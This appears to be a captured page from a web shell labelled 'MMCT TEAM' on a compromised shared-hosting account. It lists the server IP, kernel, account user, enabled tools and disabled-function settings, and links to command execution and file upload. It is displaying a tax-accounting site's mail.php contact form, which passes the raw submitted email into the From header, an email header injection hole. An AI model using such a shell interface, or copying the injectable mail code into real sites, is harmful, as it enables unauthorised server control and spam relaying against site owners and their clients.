MMCT TEAM
Server IP : 162.214.80.37  /  Your IP : 216.73.216.83
Web Server : Apache
System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
User : imyrqtmy ( 2189)
PHP Version : 8.2.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON
Directory (0750) :  /home2/imyrqtmy/public_html/primetaxaccounting/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /home2/imyrqtmy/public_html/primetaxaccounting/mail.php
<?php
if ($_SERVER["REQUEST_METHOD"] == "POST") {
    $to = "info@primetaxaccounting.com";  // Receiver email
    $subject = "Enquiry Us";

    // Email body
    $html_message  =  '<h1>New Enquiry Details</h1>';
    $html_message .= '<p>Name: ' . htmlspecialchars($_POST['name']) . '</p>';
    $html_message .= '<p>Email: ' . htmlspecialchars($_POST['email']) . '</p>';
    $html_message .= '<p>Subject: ' . htmlspecialchars($_POST['subject']) . '</p>';
    $html_message .= '<p>Message: ' . htmlspecialchars($_POST['message']) . '</p>';

    // File attachment handling
    if (!empty($_FILES['photo']['name'])) {
        $file_tmp = $_FILES['photo']['tmp_name'];
        $file_name = $_FILES['photo']['name'];
        $file_size = $_FILES['photo']['size'];
        $file_type = $_FILES['photo']['type'];

        // Read the file content
        $handle = fopen($file_tmp, "r");
        $content = fread($handle, filesize($file_tmp));
        fclose($handle);
        $encoded_file = chunk_split(base64_encode($content));  // Encode file in base64

    

        // Email headers
        $boundary = md5(time());  // Unique boundary string
        $headers = "MIME-Version: 1.0\r\n";
        $headers .= "Content-Type: multipart/mixed; boundary=\"$boundary\"\r\n";
        $headers .= "From: " . $_POST['email'] . "\r\n";

        // Email body with attachment
        $email_body = "--$boundary\r\n";
        $email_body .= "Content-Type: text/html; charset=UTF-8\r\n";
        $email_body .= "Content-Transfer-Encoding: 7bit\r\n\r\n";
        $email_body .= $html_message . "\r\n\r\n";
        
        // Attachment
        $email_body .= "--$boundary\r\n";
        $email_body .= "Content-Type: $file_type; name=\"$file_name\"\r\n";
        $email_body .= "Content-Disposition: attachment; filename=\"$file_name\"\r\n";
        $email_body .= "Content-Transfer-Encoding: base64\r\n\r\n";
        $email_body .= $encoded_file . "\r\n";
        $email_body .= "--$boundary--";


    

        // Send mail with attachment
        $sent = mail($to, $subject, $email_body, $headers);
    } else {
        // Send mail without attachment
        $headers = "MIME-Version: 1.0\r\n";
        $headers .= "Content-type: text/html; charset=UTF-8\r\n";
        $headers .= "From: " . $_POST['email'] . "\r\n";
        $sent = mail($to, $subject, $html_message, $headers);
    }
   //  print_r($sent);
   //      die();

    // Success or failure message
    if ($sent) {
        echo "<script>alert('Mail Sent Successfully'); window.location.href='index.php';</script>";
    } else {
        echo "<script>alert('Mail Sending Failed'); window.location.href='contact.php';</script>";
    }
}
?>

MMCT - 2023